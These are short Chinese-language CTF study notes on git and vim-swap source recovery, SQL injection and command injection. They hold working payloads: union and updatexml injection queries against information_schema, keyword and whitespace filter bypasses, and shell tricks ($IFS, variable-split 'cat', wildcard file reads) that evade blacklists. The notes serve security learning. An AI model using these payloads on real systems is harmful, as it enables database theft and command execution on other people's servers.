git reset --hard HEAD^ 用于跳回上个版本的git 原理是git是版本控制工具,会记录每次的提交
git每次提交时,都会自动串成一条时间线,这条时间线就是一条分支,git中默认使用master分支
这里要使用githacker 在githacker中使用git log -all 或 git branch -v
vim在打开的时候使用的方式是创建备份文件,在保存后备份文件覆盖原文件,所以当修改文件直接关闭客户端,会在目录下生成swp文件 通过vim -r 来恢复文件
第一次意外退出为swp 第二次退出是swo 第三次是swn
判断数字型注入一般可以通过 id=2 和id=3-1 判断返回页面是不是一样判断3-1的数字运算有没有执行
mysql5.0以后自带information_schema,mysql的所有数据库名字段名和表名都可以在这里被查询
union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() 这是一个基础查询数据库所有表名的语句, 表示查询table_name字段在information_schema库中的tables表中,同时表所在的数据库等于当前数据库
group_concat() 表示将查询内容联合起来,table_name 表示表名 information_schema.tables 表示information_schema库中tables表的数据 ,table_schema 等于指定数据库表所在数据库的名称
database()表示当前数据库
union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
这个语句是代表通过columns表中的column_name查询出的内容为flag中的字段名
字符型和数字型的区别就在于数字型没有单引号包裹而字符型有
当我们输入3-1 没有反应的时候我们就可以尝试是不是字符型 通过2a 因为在sql中 '2a'=2 等号两边的类型不一样会强制转换 也就是2a会被转换为2 所有当id=2a返回2的页面表示是字符型当使用‘要注释后面 用#也就是%23 或者 -- 和--+
updatexml
updatexml(1,concat(0x7e,(select flag from flag)),1)%23
空格可以用 %0a,%0b ,%09
关键字替换为空,通过双写:selselectect 这里的sleect会成空 所以会变成select
大小写 通过 SELEct 绕过
正则绕过 \bselect\b 可以用/*!50000select*/
’“替换 当红过滤了‘” 可以通过/’ 来绕过
通过%09 %0b %0c绕过空格
linux下通过$IFS$9,$IFS,${IFS}来绕过空格
黑名单绕过cat
linux a=at;b=c;c=llo;d=he;$b$a ${d}{c}
在通配符中?代表任意一个字符串 *代表 任意个字符串
linux cat /et?/fl*
windows type fla*